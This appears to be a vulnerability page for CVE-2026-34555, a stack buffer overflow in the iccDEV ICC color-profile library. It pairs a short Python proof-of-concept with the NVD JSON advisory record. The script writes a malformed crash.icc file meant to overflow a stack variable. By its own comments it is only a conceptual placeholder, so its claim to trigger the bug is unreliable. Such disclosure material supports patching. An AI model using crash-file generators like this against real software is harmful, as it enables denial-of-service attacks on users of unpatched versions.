CVE-2026-34555

/* * PoC for CVE-2026-34555 * This script generates a malformed ICC profile structure intended to trigger * the stack buffer overflow in CIccTagFixedNum<>::GetValues(). */ import struct # Create a malformed ICC header/tag structure # This is a conceptual PoC; actual exploit requires precise binary layout. def generate_malformed_icc(): header = b"\x00" * 128 # Placeholder ICC header # Malicious tag data designed to trigger the overflow in GetValues # Targeting the call chain CIccTagFixedNum::GetValues() -> CIccTagStruct::GetElemNumberValue() malicious_tag = b"A" * 100 # Payload to overflow the 4-byte stack variable 'rv' with open("crash.icc", "wb") as f: f.write(header + malicious_tag) print("[+] Malformed ICC file generated: crash.icc") if __name__ == "__main__": generate_malformed_icc()

{"cve": {"id": "CVE-2026-34555", "sourceIdentifier": "[email protected]", "published": "2026-03-31T23:17:10.810", "lastModified": "2026-04-20T14:38:31.053", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iccDEV provides a set of libraries and tools for working with ICC color management profiles. Prior to version 2.3.1.6, there is a stack-buffer-overflow (SBO) in CIccTagFixedNum<>::GetValues() and a related bug chain. The primary crash is an AddressSanitizer-reported WRITE of size 4 that overflows a 4-byte stack variable (rv) via the call chain CIccTagFixedNum::GetValues() -> CIccTagStruct::GetElemNumberValue(). This issue has been patched in version 2.3.1.6."}, {"lang": "es", "value": "iccDEV proporciona un conjunto de bibliotecas y herramientas para trabajar con perfiles de gestión de color ICC. Antes de la versión 2.3.1.6, existe un desbordamiento de búfer de pila (SBO) en CIccTagFixedNum&lt;&gt;::GetValues() y una cadena de errores relacionada. El fallo principal es una ESCRITURA de tamaño 4 reportada por AddressSanitizer que desborda una variable de pila de 4 bytes (rv) a través de la cadena de llamadas CIccTagFixedNum::GetValues() -&gt; CIccTagStruct::GetElemNumberValue(). Este problema ha sido parcheado en la versión 2.3.1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:color:iccdev:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.1.6", "matchCriteriaId": "DE133F29-9592-4669-8B76-9F7C88EFE17D"}]}]}], "references": [{"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/696", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/697", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/698", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/703", "source": "[email protected]", "tags": ["Issue Tracking", "Exploit"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/pull/739", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/security/advisories/GHSA-983c-rgh5-4982", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://github.com/InternationalColorConsortium/iccDEV/issues/696", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Issue Tracking", "Exploit"]}]}}